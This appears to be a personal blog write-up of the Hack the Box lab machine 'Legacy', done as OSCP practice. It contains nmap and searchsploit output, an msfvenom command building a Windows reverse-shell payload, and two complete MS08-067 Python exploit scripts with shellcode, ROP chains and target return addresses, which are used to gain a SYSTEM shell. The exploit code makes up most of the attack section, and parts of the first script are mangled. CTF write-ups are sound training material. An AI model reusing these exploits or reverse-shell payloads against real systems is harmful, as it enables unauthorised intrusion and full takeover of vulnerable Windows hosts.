Dylan's Blog

Hack the Box: Legacy Writeup

Category: oscp-prep

Legacy

Description

Legacy is an Easy Windows machine that is vulnerable to MS08-067 and MS17-010 (EternalBlue). Since I exploited a previous machine with EternalBlue, I’ll be focusing on MS08-067 this time.

Contents:

Recon and Enumeration

Start of with some nmap scans to:

sudo nmap -sS -p- -T4 -oN nmap/all-tcp 10.129.208.170 --open

# Nmap 7.91 scan initiated Sat Sep  4 17:03:29 2021 as: nmap -sS -p- -T4 -oN nmap/all-tcp --open 10.129.208.170
Nmap scan report for 10.129.208.170
Host is up (0.12s latency).
Not shown: 65532 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Sep  4 17:05:25 2021 -- 1 IP address (1 host up) scanned in 115.39 seconds

sudo nmap -sS -sC -sV -T4 -p139,445 -oN nmap/tcp-scripts 10.129.208.170

# Nmap 7.91 scan initiated Sat Sep  4 17:06:35 2021 as: nmap -sS -sC -sV -T4 -p139,445 -oN nmap/tcp-scripts 10.129.208.170
Nmap scan report for 10.129.208.170
Host is up (0.12s latency).

PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h27m37s, deviation: 2h07m16s, median: 4d22h57m37s
| nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:f1:09 (VMware)
| Names:
|_  
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2021-09-10T08:04:21+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep  4 17:07:34 2021 -- 1 IP address (1 host up) scanned in 58.66 second

sudo nmap --script vuln -p139,445 -Pn -v 10.129.208.170 -oN nmap/tcp-vuln-scripts

# Nmap 7.91 scan initiated Sat Sep  4 17:20:07 2021 as: nmap --script vuln -p139,445 -Pn -v -oN nmap/tcp-vuln-scripts 10.129.208.170
Nmap scan report for 10.129.208.170
Host is up (0.12s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Sep  4 17:20:32 2021 -- 1 IP address (1 host up) scanned in 25.08 seconds

Quick Disclaimer on nmap scripts

The nmap script smb-vuln-ms08-067, which was run above, can crash systems. From the nmap documentation:

“Detects Microsoft Windows systems vulnerable to the remote code execution vulnerability known as MS08-067. This check is dangerous and it may crash systems.”

“On a fairly wide scan conducted by Brandon Enright, we determined that on average, a vulnerable system is more likely to crash than to survive the check. Out of 82 vulnerable systems, 52 crashed. Please consider this before running the script.”

I’m running all vuln scripts against this machine since it’s a CTF/lab. Certain nmap scripts can either be intrusive or crash systems and I would be cautious when running this against production machines. In addition to this, some nmap scripts run exploits against the machine, so if you’re planning on taking the OSCP exam, which bans autoexploit tools, I would avoid running those scripts. If in doubt, check the documentation and understand what your tools are doing.

You can also run an nmap scan like so: nmap --script "vuln and safe"

This will only run scans that are tagged with vuln and safe. Safe scripts are scripts that shouldn’t crash services, consume large amounts of resources, or run exploits.

Services:

I run searchsploit searching for any exploits to these vulnerabilities, not surprising that there’s a lot since these vulnerabilities are so old.

Searchsploit ms08-067

Searchsploit ms17-010

Exploitation

Exploiting SMB

The first exploit I try is Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067).

I copy the code and check it out. The only thing I needed to modify in the code was the shellcode payload that gets sent. I use msfvenom to generate the shellcode with the following command:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.88 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode --platform windows -a x86 > shellcode.txt

After generating the shellcode, I replace my shellcode with the one in the exploit file. I replace everything have the \x90 nop sled.

Modified exploit code:

import struct
import time
import sys

from threading import Thread    #Thread is imported incase you would like to modify

try:
    from impacket import smb
    from impacket import uuid
    from impacket import dcerpc
    from impacket.dcerpc.v5 import transport

except ImportError, _:
    print 'Install the following library to make this script work'
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
    sys.exit(1)

print '#######################################################################'
print '#   MS08-067 Exploit'
print '#   This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#######################################################################\n'

#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0"
shellcode += "\x5e\x81\x76\x0e\x97\xfe\xaa\xbe\x83\xee\xfc"
shellcode += "\xe2\xf4\x6b\x16\x28\xbe\x97\xfe\xca\x37\x72"
shellcode += "\xcf\x6a\xda\x1c\xae\x9a\x35\xc5\xf2\x21\xec"
shellcode += "\x83\x75\xd8\x96\x98\x49\xe0\x98\xa6\x01\x06"
shellcode += "\x82\xf6\x82\xa8\x92\xb7\x3f\x65\xb3\x96\x39"
shellcode += "\x48\x4c\xc5\xa9\x21\xec\x87\x75\xe0\x82\x1c"
shellcode += "\xb2\xbb\xc6\x74\xb6\xab\x6f\xc6\x75\xf3\x9e"
shellcode += "\x96\x2d\x21\xf7\x8f\x1d\x90\xf7\x1c\xca\x21"
shellcode += "\xbf\x41\xcf\x55\x12\x56\x31\xa7\xbf\x50\xc6"
shellcode += "\x4a\xcb\x61\xfd\xd7\x46\xac\x83\x8e\xcb\x73"
shellcode += "\xa6\x21\xe6\xb3\xff\x79\xd8\x1c\xf2\xe1\x35"
shellcode += "\xcf\xe2\xab\x6d\x1c\xfa\x21\xbf\x47\x77\xee"
shellcode += "\x9a\xb3\xa5\xf1\xdf\xce\xa4\xfb\x41\x77\xa1"
shellcode += "\xf5\xe4\x1c\xec\x41\x33\xca\x96\x99\x8c\x97"
shellcode += "\xfe\xc2\xc9\xe4\xcc\xf5\xea\xff\xb2\xdd\x98"
shellcode += "\x90\x01\x7f\x06\x07\xff\xaa\xbe\xbe\x3a\xfe"
shellcode += "\xee\xff\xd7\x2a\xd5\x97\x01\x7f\xee\xc7\xae"
shellcode += "\xfa\xfe\xc7\xbe\xfa\xd6\x7d\xf1\x75\x5e\x68"
shellcode += "\x2b\x3d\xd4\x92\x96\xa0\xb4\x99\xa6\xc2\xbc"
shellcode += "\x97\xff\x11\x37\x71\x94\xba\xe8\xc0\x96\x33"
shellcode += "\x1b\xe3\x9f\x55\x6b\x12\x3e\xde\xb2\x68\xb0"
shellcode += "\xa2\xcb\x7b\x96\x5a\x0b\x35\xa8\x55\x6b\xff"
shellcode += "\x9d\xc7\xda\x97\x77\x49\xe9\xc0\xa9\x9b\x48"
shellcode += "\xfd\xec\xf3\xe8\x75\x03\xcc\x79\xd3\xda\x96"
shellcode += "\xbf\x96\x73\xee\x9a\x87\x38\xaa\xfa\xc3\xae"
shellcode += "\xfc\xe8\xc1\xb8\xfc\xf0\xc1\xa8\xf9\xe8\xff"
shellcode += "\x87\x66\x81\x11\x01\x7f\x37\x77\xb0\xfc\xf8"
shellcode += "\x68\xce\xc2\xb6\x10\xe3\xca\x41\x42\x45\x4a"
shellcode += "\xa3\xbd\xf4\xc2\x18\x02\x43\x37\x41\x42\xc2"
shellcode += "\xac\xc2\x9d\x7e\x51\x5e\xe2\xfb\x11\xf9\x84"
shellcode += "\x8c\xc5\xd4\x97\xad\x55\x6b"

nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
	gadget1="\x90\x5a\x59\xc3"
	gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]	
	gadget3="\xcc\x90\xeb\x5a"	
	ret=struct.pack('<L', 0x00018000)
	ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
	ret+=struct.pack('<L', 0x01040110)
	ret+=struct.pack('<L', 0x01010101)
	ret+=struct.pack('<L', 0x01010101)
	ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
	ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
	ret+=gadget1
	ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
	ret+=struct.pack('<L', rvas['jmp eax']+module_base)
	ret+=gadget2[0]
	ret+=gadget2[1]
	ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
	ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
	ret+=gadget2[2]
	ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
	ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
	ret+=struct.pack('<L', rvas['jmp eax']+module_base)
	ret+=gadget3	
	return ret
class SRVSVC_Exploit(Thread):
    def __init__(self, target, os, port=445):
        super(SRVSVC_Exploit, self).__init__()
        self.__port   = port
        self.target   = target
		self.os	      = os

    def __DCEPacket(self):
	if (self.os=='1'):
		print 'Windows XP SP0/SP1 Universal\n'
		ret = "\x61\x13\x00\x01"
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='2'):
		print 'Windows 2000 Universal\n'
		ret = "\xb0\x1c\x1f\x00"
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='3'):
		print 'Windows 2003 SP0 Universal\n'
		ret = "\x9e\x12\x00\x01"  #0x01 00 12 9e
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='4'):
		print 'Windows 2003 SP1 English\n'
		ret_dec = "\x8c\x56\x90\x7c"  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
		ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
		jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
		disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
		jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
	elif (self.os=='5'):
		print 'Windows XP SP3 French (NX)\n'
		ret = "\x07\xf8\x5b\x59"  #0x59 5b f8 07 
		disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
	elif (self.os=='6'):
		print 'Windows XP SP3 English (NX)\n'
		ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07 
		disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
	elif (self.os=='7'):
		print 'Windows XP SP3 English (AlwaysOn NX)\n'
		rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
		jumper = generate_rop(rvasets)+"AB"  #the nonxjmper also work in this case.
	else:
		print 'Not supported OS version\n'
		sys.exit(-1)
	print '[-]Initiating connection'
        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
        self.__trans.connect()
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"  + jumper + "\x00" * 2
        server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"       prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
       self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"

        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub) 
        time.sleep(5)
        print 'Exploit finish\n'

if __name__ == '__main__':
       try:
           target = sys.argv[1]
	   	   os = sys.argv[2]

       except IndexError:
				print '\nUsage: %s <target ip>\n' % sys.argv[0]
				print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
				print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'
				sys.exit(-1)

current = SRVSVC_Exploit(target, os)
current.start()

Finally I run the code with the following syntax: python exploit.py 10.129.208.170 6

I chose 6 to indicate the operating system based on the code above:

	elif (self.os=='6'):
		print 'Windows XP SP3 English (NX)\n'
		ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07 
		disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.

From the nmap scan, Windows XP SP3 was my best guess.

However, after setting up a nc listener and running the above code, I fail to get a connection.

I find another exploit script on Github that was modified 3 years ago (as of this post), it looks like it’s an updated version of the code I was trying to use, you can find the code here.

From the README, the following updates were made:

I use the same shellcode as before and replace the template shellcode in the exploit.

#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread  # Thread is imported incase you would like to modify

try:
    from impacket import smb
    from impacket import uuid
    #from impacket.dcerpc import dcerpc
    from impacket.dcerpc.v5 import transport

except ImportError, _:
    print 'Install the following library to make this script work'
    print 'Impacket : https://github.com/CoreSecurity/impacket.git'
    print 'PyCrypto : https://pypi.python.org/pypi/pycrypto'
    sys.exit(1)

print '#######################################################################'
print '#   MS08-067 Exploit'
print '#   This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#'
print '#   Mod in 2018 by Andy Acer:'
print '#   - Added support for selecting a target port at the command line.'
print '#     It seemed that only 445 was previously supported.'
print '#   - Changed library calls to correctly establish a NetBIOS session for SMB transport'
print '#   - Changed shellcode handling to allow for variable length shellcode. Just cut and paste'
print '#     into this source file.'
print '#######################################################################\n'


# ------------------------------------------------------------------------
# REPLACE THIS SHELLCODE with shellcode generated for your use
# Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
#
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

# Reverse TCP to 10.11.0.157 port 62000:
shellcode=(
"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0"
"\x5e\x81\x76\x0e\xc0\x8e\xa8\xc8\x83\xee\xfc"
"\xe2\xf4\x3c\x66\x2a\xc8\xc0\x8e\xc8\x41\x25"
"\xbf\x68\xac\x4b\xde\x98\x43\x92\x82\x23\x9a"
"\xd4\x05\xda\xe0\xcf\x39\xe2\xee\xf1\x71\x04"
"\xf4\xa1\xf2\xaa\xe4\xe0\x4f\x67\xc5\xc1\x49"
"\x4a\x3a\x92\xd9\x23\x9a\xd0\x05\xe2\xf4\x4b"
"\xc2\xb9\xb0\x23\xc6\xa9\x19\x91\x05\xf1\xe8"
"\xc1\x5d\x23\x81\xd8\x6d\x92\x81\x4b\xba\x23"
"\xc9\x16\xbf\x57\x64\x01\x41\xa5\xc9\x07\xb6"
"\x48\xbd\x36\x8d\xd5\x30\xfb\xf3\x8c\xbd\x24"
"\xd6\x23\x90\xe4\x8f\x7b\xae\x4b\x82\xe3\x43"
"\x98\x92\xa9\x1b\x4b\x8a\x23\xc9\x10\x07\xec"
"\xec\xe4\xd5\xf3\xa9\x99\xd4\xf9\x37\x20\xd1"
"\xf7\x92\x4b\x9c\x43\x45\x9d\xe6\x9b\xfa\xc0"
"\x8e\xc0\xbf\xb3\xbc\xf7\x9c\xa8\xc2\xdf\xee"
"\xc7\x71\x7d\x70\x50\x8f\xa8\xc8\xe9\x4a\xfc"
"\x98\xa8\xa7\x28\xa3\xc0\x71\x7d\x98\x90\xde"
"\xf8\x88\x90\xce\xf8\xa0\x2a\x81\x77\x28\x3f"
"\x5b\x3f\xa2\xc5\xe6\xa2\xc2\xce\xd6\xc0\xca"
"\xc0\x8f\x13\x41\x26\xe4\xb8\x9e\x97\xe6\x31"
"\x6d\xb4\xef\x57\x1d\x45\x4e\xdc\xc4\x3f\xc0"
"\xa0\xbd\x2c\xe6\x58\x7d\x62\xd8\x57\x1d\xa8"
"\xed\xc5\xac\xc0\x07\x4b\x9f\x97\xd9\x99\x3e"
"\xaa\x9c\xf1\x9e\x22\x73\xce\x0f\x84\xaa\x94"
"\xc9\xc1\x03\xec\xec\xd0\x48\xa8\x8c\x94\xde"
"\xfe\x9e\x96\xc8\xfe\x86\x96\xd8\xfb\x9e\xa8"
"\xf7\x64\xf7\x46\x71\x7d\x41\x20\xc0\xfe\x8e"
"\x3f\xbe\xc0\xc0\x47\x93\xc8\x37\x15\x35\x48"
"\xd5\xea\x84\xc0\x6e\x55\x33\x35\x37\x15\xb2"
"\xae\xb4\xca\x0e\x53\x28\xb5\x8b\x13\x8f\xd3"
"\xfc\xc7\xa2\xc0\xdd\x57\x1d"
)
# ------------------------------------------------------------------------

# Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode  # Add NOPS to the front
shellcode = newshellcode   # Switcheroo with the newshellcode temp variable

#print "Shellcode length: %s\n\n" % len(shellcode)

nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
    "A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
    28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000


def generate_rop(rvas):
    gadget1 = "\x90\x5a\x59\xc3"
    gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
    gadget3 = "\xcc\x90\xeb\x5a"
    ret = struct.pack('<L', 0x00018000)
    ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
    ret += struct.pack('<L', 0x01040110)
    ret += struct.pack('<L', 0x01010101)
    ret += struct.pack('<L', 0x01010101)
    ret += struct.pack('<L',
                       rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
    ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
    ret += gadget1
    ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
    ret += struct.pack('<L', rvas['jmp eax'] + module_base)
    ret += gadget2[0]
    ret += gadget2[1]
    ret += struct.pack('<L', rvas[
                       'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
    ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
    ret += gadget2[2]
    ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
    ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
    ret += struct.pack('<L', rvas['jmp eax'] + module_base)
    ret += gadget3
    return ret


class SRVSVC_Exploit(Thread):
    def __init__(self, target, os, port=445):
        super(SRVSVC_Exploit, self).__init__()

        # MODIFIED HERE
        # Changed __port to port ... not sure if that does anything. I'm a newb.
        self.port = port
        self.target = target
        self.os = os

    def __DCEPacket(self):
        if (self.os == '1'):
            print 'Windows XP SP0/SP1 Universal\n'
            ret = "\x61\x13\x00\x01"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '2'):
            print 'Windows 2000 Universal\n'
            ret = "\xb0\x1c\x1f\x00"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '3'):
            print 'Windows 2003 SP0 Universal\n'
            ret = "\x9e\x12\x00\x01"  # 0x01 00 12 9e
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '4'):
            print 'Windows 2003 SP1 English\n'
            ret_dec = "\x8c\x56\x90\x7c"  # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
            ret_pop = "\xf4\x7c\xa2\x7c"  # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
            jmp_esp = "\xd3\xfe\x86\x7c"  # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
            disable_nx = "\x13\xe4\x83\x7c"  # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
            jumper = disableNXjumper % (
                ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
        elif (self.os == '5'):
            print 'Windows XP SP3 French (NX)\n'
            ret = "\x07\xf8\x5b\x59"  # 0x59 5b f8 07
            disable_nx = "\xc2\x17\x5c\x59"  # 0x59 5c 17 c2
            # the nonxjmper also work in this case.
            jumper = nonxjmper % (disable_nx, ret)
        elif (self.os == '6'):
            print 'Windows XP SP3 English (NX)\n'
            ret = "\x07\xf8\x88\x6f"  # 0x6f 88 f8 07
            disable_nx = "\xc2\x17\x89\x6f"  # 0x6f 89 17 c2
            # the nonxjmper also work in this case.
            jumper = nonxjmper % (disable_nx, ret)
        elif (self.os == '7'):
            print 'Windows XP SP3 English (AlwaysOn NX)\n'
            rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
                'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
            # the nonxjmper also work in this case.
            jumper = generate_rop(rvasets) + "AB"
        else:
            print 'Not supported OS version\n'
            sys.exit(-1)

        print '[-]Initiating connection'

        # MORE MODIFICATIONS HERE #############################################################################################

        if (self.port == '445'):
            self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
        else:
            # DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
            # *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to 
            #   establish a NetBIOS Session.  The NetBIOS session shows as NBSS in Wireshark.

            self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
        
        self.__trans.connect()
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin(
            ('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
            "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
        server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
        
        # NEW HOTNESS
        # The Path Length and the "Actual Count" SMB parameter have to match.  Path length in bytes
        #   is double the ActualCount field.  MaxCount also seems to match.  These fields in the SMB protocol
        #   store hex values in reverse byte order.  So: 36 01 00 00  => 00 00 01 36 => 310.  No idea why it's "doubled"
        #   from 310 to 620.  620 = 410 shellcode + extra stuff in the path.
        MaxCount = "\x36\x01\x00\x00"  # Decimal 310. => Path length of 620.
        Offset = "\x00\x00\x00\x00"
        ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620

        self.__stub = server + MaxCount + Offset + ActualCount + \
            path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"        

        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub)
        time.sleep(3)
        print 'Exploit finish\n'

if __name__ == '__main__':
       try:
           target = sys.argv[1]
           os = sys.argv[2]
           port = sys.argv[3]
       except IndexError:
                print '\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0]
                print 'Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445'
                print 'Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)'
                print 'Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal'
                print 'Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English'
                print 'Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)'
                print 'Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)'
                print 'Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)'
                print ''
                print 'Also: nmap has a good OS discovery script that pairs well with this exploit:'
                print 'nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1'
                print ''
                sys.exit(-1)

current = SRVSVC_Exploit(target, os, port)
current.start()

For this script, I also need to specify the port, (the IP changed because I accidentally reset the box)

python ms08_067_2018.py 10.129.208.176 6 445

Run Exploit

Running the exploit successfully gives us a shell.

SYSTEM Shell

SYSTEM Shell and Flags

The exploit immediately gives us a SYSTEM shell, so I don’t have to do any privilege escalation.

I collect both the user.txt and root.txt flags and submit them to complete this machine.

User Flag

Root Flag